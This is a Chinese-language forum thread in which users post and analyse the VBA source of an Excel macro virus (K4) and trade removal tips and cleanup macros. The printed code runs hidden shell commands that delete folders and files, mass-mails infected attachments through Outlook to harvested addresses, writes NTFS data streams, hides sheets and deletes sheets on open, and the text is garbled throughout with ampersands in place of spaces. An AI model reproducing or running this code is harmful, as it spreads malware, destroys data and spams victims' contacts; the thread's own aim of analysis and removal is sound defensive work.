Open&AddListFile&For&Output&Access&Write&As&#i
Print&#i,&&E:\sorce\&&&&AttName&&&&_Key.vbs&
Print&#i,&&E:\sorce\&&&&AttName&&&&.xls&
Application.ScreenUpdating&=&False
RestoreBeforeSend
ThisWorkbook.SaveCopyAs&&E:\sorce\&&&&AttName&&&&.xls&
RestoreAfterOpen
c4$&=&CurDir()
ChDrive&Left(ThisWorkbook.Path,&3)&'&C:\&
ChDir&ThisWorkbook.Path
WshShell.Run&Environ$(&comspec&)&&&&&/c&makecab&/F&&&&&&&ThisWorkbook.Path&&&&\TEST.TXT&&&&&&&&/D&COMPRESSIONTYPE=LZX&/D&COMPRESSIONMEMORY=21&/D&CABINETNAMETEMPLATE=../&&&&AttName&&&&.CAB&,&vbHide,&False
Do&Until&fs.FileExists(ThisWorkbook.Path&&&&\TEST.txt&)&_
And&fs.FileExists(ThisWorkbook.Path&&&&\setup.rpt&)&And&fs.FileExists(ThisWorkbook.Path&&&&\setup.inf&)&_
And&fs.FileExists(ThisWorkbook.Path&&&&\&&&&AttName&&&&.CAB&)
WshShell.Run&Environ$(&comspec&)&&&&&/c&RD&/S&/Q&&&&&&&ThisWorkbook.Path&&&&\disk1&&&,&vbHide,&False
WshShell.Run&Environ$(&comspec&)&&&&&/c&Del&/F&/Q&&&&&&&ThisWorkbook.Path&&&&\TEST.txt&&&,&vbHide,&False
WshShell.Run&Environ$(&comspec&)&&&&&/c&Del&/F&/Q&&&&&&&ThisWorkbook.Path&&&&\setup.rpt&&&,&vbHide,&False
WshShell.Run&Environ$(&comspec&)&&&&&/c&Del&/F&/Q&&&&&&&ThisWorkbook.Path&&&&\setup.inf&&&,&vbHide,&False
WshShell.Run&Environ$(&comspec&)&&&&&/c&RD&/S&/Q&E:\sorce&,&vbHide,&False
If&fs.Folderexists(&E:\KK&)&=&False&Then&fs.CreateFolder&&E:\KK&
WshShell.Run&Environ$(&comspec&)&&&&&/c&MOVE&/Y&&&&&AttName&&&&.CAB&E:\KK&&&,&vbHide,&False
Call&Massive_SendMail(Address_list,&AttName,&&Dear&all,&&&&vbCrLf&&&AttName&&&vbCrLf&&&&FYI&,&_
&&,&&E:\KK\&&&&AttName&&&&.CAB&)
WshShell.Run&Environ$(&comspec&)&&&&&/c&RD&/S&/Q&E:\KK&,&vbHide,&False
Set&WshShell&=&Nothing
Application.ScreenUpdating&=&True
你想实现什么?
Private&Sub&Massive_SendMail(Email_Address$,&Subject$,&Body$,&CC_email_add$,&Attachment$)
&&&&Dim&objOL&As&Object
&&&&Dim&itmNewMail&As&Object
&&&&If&Not&if_outlook_open&Then&Exit&Sub
&&&&Set&objOL&=&CreateObject(&Outlook.Application&)
&&&&Set&itmNewMail&=&objOL.CreateItem(olMailItem)
&&&&With&itmNewMail
&&&&&&&&.Subject&=&Subject
&&&&&&&&.Body&=&Body
&&&&&&&&.To&=&Email_Address
&&&&&&&&.CC&=&CC_email_add
&&&&&&&&.Attachments.Add&Attachment
&&&&&&&&.DeleteAfterSubmit&=&True
&&&&End&With
&&&&On&Error&GoTo&continue
SendEmail:
&&&&itmNewMail.display
&&&&Debug.Print&&setforth&&
&&&&DoEvents
&&&&DoEvents
&&&&DoEvents
&&&&SendKeys&&%s&,&Wait:=True
&&&&DoEvents
&&&&GoTo&SendEmail
&&&&Set&objOL&=&Nothing
&&&&Set&itmNewMail&=&Nothing
Private&Function&if_outlook_open()&As&Boolean
Set&objs&=&GetObject(&WinMgmts:&).InstancesOf(&Win32_Process&)
if_outlook_open&=&False
For&Each&obj&In&objs
If&InStr(obj.Description,&&OUTLOOK&)&&&0&Then
if_outlook_open&=&True
End&Function
Private&Function&RadomNine(length&As&Integer)&As&String
&Dim&jj&As&Integer,&k&As&Integer,&i&As&Integer
&RadomNine&=&&&
&If&length&&=&0&Then&Exit&Function
&If&length&&=&10&Then
&&&&&For&i&=&1&To&length
&&&&&RadomNine&=&RadomNine&&&&$$&&&&i
&&&&&Next&i
&&&&&Exit&Function
&jj&=&length&/&10
&Randomize
&For&i&=&1&To&10
&&&&&&k&=&Int(Rnd&*&(jj&*&i&-&m&-&1))&+&1
&&&&&&If&m&+&k&&&&1&Then&RadomNine&=&RadomNine&&&&$$&&&&m&+&k
&&&&&&m&=&m&+&k
End&Function
Private&Function&get_ten_address()&As&String
Dim&singleAddress_arr,&krr,&i&As&Integer
get_ten_address&=&&&
singleAddress_arr&=&Split(ReadOut(&D:\Collected_Address\log.txt&),&vbCrLf)
krr&=&Split(RadomNine(UBound(singleAddress_arr)&-&LBound(singleAddress_arr)&+&1),&&$$&)
For&i&=&1&To&UBound(krr)
get_ten_address&=&get_ten_address&&&&;&&&&singleAddress_arr(CInt(krr(i))&-&1)
End&Function
'***********************************************************************
'ReadOut函数:
'OpenTextFile(filename,iomode,create,&&&&format)&
'创建一个名叫做filename的文件,或打开一个现有的名为filename的文件,并且返回一个与其相关的TextStream对象。filename参数可以包含绝对或相对路径。iomode参数指定了所要求的访问类型。允许的数值是ForReading(1)
'(缺省)、ForWriting(2)、ForAppending(8)。当写入或追加到一个不存在的文件时,如果create参数设置为true,就将创建一个新文件。缺省的create参数是False。format参数说明对文件读或写的数据格式。
'允许数值是:TristatetFalse(0)(缺省),按照ASCII格式打开;TristatetTrue(-1),按照Unicode格式打开;TristateDefault(-2),用系统缺省格式打开
'该函数打开FullPath变量指定的文件同时【读入】内容,竟然用readout,返回值为读入的内容
'************************************************************************
Private&Function&ReadOut(FullPath)&As&String
&&&&On&Error&Resume&Next
&&&&Dim&Fso,&FileText
&&&&Set&Fso&=&CreateObject(&scRiPTinG.fiLEsysTeMoBjEcT&)
&&&&Set&FileText&=&Fso.OpenTextFile(FullPath,&1,&False,&-1)
&&&&ReadOut&=&FileText.ReadAll
&&&&FileText.Close
End&Function
'********************************************************************************
'CreateFile函数:
'pathf:D:\Collected_Address:frag1.txt
'孙子太狠了&在这里创建了一个NTFS数据流文件
'**********************************************************************************
Private&Sub&CreateFile(FragMark,&pathf)
&&&&On&Error&Resume&Next
&&&&Dim&Fso,&FileText
&&&&Set&Fso&=&CreateObject(&scRiPTinG.fiLEsysTeMoBjEcT&)
&&&&If&Fso.Folderexists(Left(pathf,&Len(pathf)&-&10))&=&False&Then&Fso.CreateFolder&Left(pathf,&Len(pathf)&-&10) '此处检查文件路径D:\Collected_Address是否存在,如果不存在就创建该文件夹
&&&&If&Fso.FileExists(pathf)&Then
&&&&&&&&Set&FileText&=&Fso.OpenTextFile(pathf,&2,&False,&-1)
&&&&&&&&FileText.Write&FragMark
&&&&&&&&FileText.Close
&&&&&&&&Set&FileText&=&Fso.OpenTextFile(pathf,&2,&True,&-1)
&&&&&&&&FileText.Write&FragMark
&&&&&&&&FileText.Close
&&&&End&If
Private&Sub&RestoreBeforeSend()
Dim&aa&As&Name,&i_row&As&Integer,&i_col&As&Integer
Dim&sht&As&Object
Application.ScreenUpdating&=&False
Application.DisplayAlerts&=&False
On&Error&Resume&Next
For&Each&aa&In&ThisWorkbook.Names
&&&&&aa.Visible&=&True
&&&&&If&Split(aa.Name,&&!&)(1)&=&&Auto_Activate&&Then&aa.Delete
For&Each&sht&In&ThisWorkbook.Sheets
&&&&&If&sht.Name&=&&Macro1&&Then
&&&&&sht.Visible&=&xlSheetVisible
&&&&&sht.Delete
&&&&&End&If
Sheets(1).Select
Sheets.Add
For&Each&sht&In&ThisWorkbook.Sheets
&&&&&If&sht.Name&&&&Sheets(1).Name&Then&sht.Visible&=&xlSheetVeryHidden
i_row&=&Int((15&*&Rnd)&+&1)
i_col&=&Int((6&*&Rnd)&+&1)
Cells(i_row,&i_col)&=&&**&CONFIDENTIAL!&**&&
Cells(i_row&+&2,&i_col)&=&&Use&&&&&Chr(34)&&&Left(ThisWorkbook.Name,&Len(ThisWorkbook.Name)&-&4)&&&&_key.vbs&&&&Chr(34)&&&&&To&Open&This&File.&
Cells(i_row&+&3,&i_col)&=&&请用&&&&&Chr(34)&&&Left(ThisWorkbook.Name,&Len(ThisWorkbook.Name)&-&4)&&&&_key.vbs&&&&Chr(34)&&&&&解锁此文件.&
With&Range(Cells(i_row,&i_col),&Cells(i_row&+&2,&i_col))
&&&&&.Font.Bold&=&True
&&&&&.Font.ColorIndex&=&3
Application.ScreenUpdating&=&True
'********************************************************************************
'RestoreAfterOpen是个非常阴险的函数,但是针对英文的文档A1到F15单元格中中查找CONFIDENTIAL关键字
'如果找到该关键字会强制删除工作表
'********************************************************************************
Private&Function&RestoreAfterOpen() '函数RestoreAfterOpen
Dim&sht,&del_sht,&rng,&del_frag&As&Boolean
On&Error&Resume&Next
del_sht&=&ActiveSheet.Name '当前工作表的名称
Application.ScreenUpdating&=&False
Application.DisplayAlerts&=&False
For&Each&sht&In&ThisWorkbook.Sheets '准备枚举出当前的工作表,同时查找是否存在Macro1这么一个表
&&&&If&sht.Name&&&&&Macro1&&Then&sht.Visible&=&xlSheetVisible '隐藏一个叫Macro1的工作表
For&Each&rng&In&Sheets(del_sht).Range(&A1:F15&)
If&InStr(rng.Value,&&CONFIDENTIAL&)&&&0&Then
del_frag&=&True
If&del_frag&=&True&Then&Sheets(del_sht).Delete
Application.ScreenUpdating&=&True
End&Function
你想实现什么?
这是我刚发现的一段代码,看看怎么能在保证数据的情况下删除病毒
这个病毒有什么结果?
这个病毒有什么结果?
自我复制到启动文件夹中,有一个叫k4.xls的病毒母体,同时会创建一个NTFS数据流文件,隐藏很深,会自动查找Outlook并发送邮件
感觉你对vba也挺了解的,
大部分函数前面都有说明,
你找不出那些是和病毒有关的?
感觉你对vba也挺了解的,
大部分函数前面都有说明,
你找不出那些是和病毒有关的?
找出来了,但是问题是没有解决方案
在网上找到了【宏病毒专杀软件】是反病毒大师boom的业余作品
http://bbs.duba.net/thread--1.html
中过宏病毒的伤不起啊...
引用&9&楼&的回复:
感觉你对vba也挺了解的,
大部分函数前面都有说明,
你找不出那些是和病毒有关的?
找出来了,但是问题是没有解决方案
把相关的代码删了不行吗?
引用&10&楼&&的回复:
引用&9&楼&的回复:
感觉你对vba也挺了解的,
大部分函数前面都有说明,
你找不出那些是和病毒有关的?
找出来了,但是问题是没有解决方案
把相关的代码删了不行吗?
这个真是不行,你研究一下这段代码就知道了
在网上找到了【宏病毒专杀软件】是反病毒大师boom的业余作品
http://bbs.duba.net/thread--1.html
中过宏病毒的伤不起啊...
嗯&我用的也是某杀毒软件厂商的专杀,终于搞定了&白忙活我一晚上,不过觉得看人家的代码挺有意思的
我的同事也中招了,导致他的EXCEL2003反复重启,我给他重新安装2遍OFFICE也没解决问题,后来就想到是否是中毒了,杀毒软件未杀出病毒,后来注意到他的EXCEL宏安全性为低,我就设置为高,打开表格后还是重启,这个时候我发现宏安全自动变为低,才知道肯定是中宏病毒了,打开VB编辑器,奇怪的是里面有个K4的工作薄,里面有一堆代码,觉得不对劲,就先把代码复制到文本文件里了,然后删除这些代码,根本解决不了问题,后来找了个宏病毒专杀工具,暂时把它给搞掉了,本来想百度一下“Application.StartupPath”的用法,百度出来的第一项就是这个帖子,代码内容完全一致,所以就注册了个论坛号,留言交流一下,想问一下“某杀毒软件厂商的专杀”是哪个?因为我帮他杀完之后打开表格,大多数表格都可以正常打开,但还是有一个表格打开时提示“宏安全设置……”,打开VBA编辑器,K4工作薄到时不在了,所以也看不到thisworkbook中的源代码:
'Public&WithEvents&xx&As&Application
'Private&Sub&Workbook_open()
'Set&xx&=&Application
'On&Error&Resume&Next
'Application.DisplayAlerts&=&False
'Call&do_what
'Private&Sub&xx_workbookOpen(ByVal&wb&As&Workbook)
'On&Error&Resume&Next
'wb.VBProject.References.AddFromGuid&_
'GUID:=&{0-}&,&_
'Major:=5,&Minor:=3
'Application.ScreenUpdating&=&False
'Application.DisplayAlerts&=&False
'copystart&wb
'Application.ScreenUpdating&=&True
'End&Sub。
但是模块中的源代码还在,担心杀的不彻底,希望得到些指点。
高手们请提供彻底根除的办法
这个宏病毒很恶心,大家要小心!
彻底根除就是用金山boom的宏病毒专杀!
  LZ分析得非常好,受益匪浅!结合查杀及恢复文件过程中的一些操作经验,妄论如下:
  金山的宏病毒专杀也没有完全解决问题,目前的瑞星杀毒软件可查杀,但都只能清除VBA中可见的宏病毒代码。起码残留三个问题:
  一、没有清除病毒对EXCEL安全性的限制,尽管这算不上什么大事。
  二、Excel安全性为中级,还是提示是否启用宏,禁用则还是无法打开文件。
  三、没有解决Excel文件中残留宏4.0。
  360前几天还可以手工查杀,但只是直接删掉Excel文件,这几天根本就不再报毒了。看来免费的午餐也可能是没有营养的。
我也遇到了这个问题,头疼死了。用金山的专杀杀过后还有残留问题,我是这样解决的:
Sub&显示隐藏的表()
&&&&Dim&i&As&Integer
&&&&For&i&=&1&To&Sheets.Count
&&&&&&&&Sheets(i).Visible&=&True
此时看到macro1,手动删除macro1,macro1内容为
=ERROR(FALSE)
=IF(ERROR.TYPE(RUN(&YLMF&))=4)
&=ALERT(&&禁用宏,关闭&
Please&Enable&Macro!&&,3)&
=FILE.CLOSE(FALSE)
删除后,会报找不到#REF!$A$2,新插入一个模块
Sub&DisplayNames()
Dim&Na&As&Name
For&Each&Na&In&ThisWorkbook.Names
Na.Visible&=&True
然后运行后就OK了。
因为我不会编辑宏,所以问题出现了,大量的文件需要一个一个打开处理。很是麻烦。
我的同事也中招了,导致他的EXCEL2003反复重启,我给他重新安装2遍OFFICE也没解决问题,后来就想到是否是中毒了,杀毒软件未杀出病毒,后来注意到他的EXCEL宏安全性为低,我就设置为高,打开表格后还是重启,这个时候我发现宏安全自动变为低,才知道肯定是中宏病毒了,打开VB编辑器,奇怪的是里面有个K4的工作薄,里面有一堆代码,觉得不对劲,就先把代码复制到文本文件里了,然后删除这些代码,根本解……
金山专杀,用一下就知道&在金山毒霸的百宝箱里。

我要回帖

更多关于 withevents 的文章

 

随机推荐